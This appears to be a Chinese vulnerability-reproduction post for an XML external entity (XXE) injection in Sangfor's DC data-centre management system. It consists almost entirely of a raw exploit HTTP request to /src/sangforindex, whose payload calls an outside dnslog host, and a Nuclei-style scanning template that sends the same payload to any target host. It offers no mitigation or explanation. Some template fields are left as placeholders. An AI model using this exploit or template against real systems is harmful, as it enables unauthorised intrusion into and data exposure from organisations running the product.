【漏洞复现】深信服数据中心管理系统DC存在XML外部实体注入漏洞

POST /src/sangforindex HTTP/1.1Host: xxxUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 141 <?xml version="1.0" encoding="utf-8" ?><!DOCTYPE root [    <!ENTITY rootas SYSTEM "http://xxx.dnslog.cn">]><xxx>&rootas;</xxx>

id: sangfor-dc-sangforindex-xxe info:  name: 深信服DC数据中心管理系统sangforindex xxe注入漏洞  author: YGnight  severity: high  description: description  reference:    - https://  tags: tags requests:  - raw:      - |-        POST /src/sangforindex HTTP/1.1        Host: {{Hostname}}        Upgrade-Insecure-Requests: 1        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: application/x-www-form-urlencoded        Content-Length: 141         <?xml version="1.0" encoding="utf-8" ?>        <!DOCTYPE root [            <!ENTITY rootas SYSTEM "http://xxx.dnslog.cn">        ]>        <xxx>        &rootas;        </xxx>     matchers-condition: and    matchers:      - type: status        status:          - 404      - type: word        words:          - '/src/sangforindex'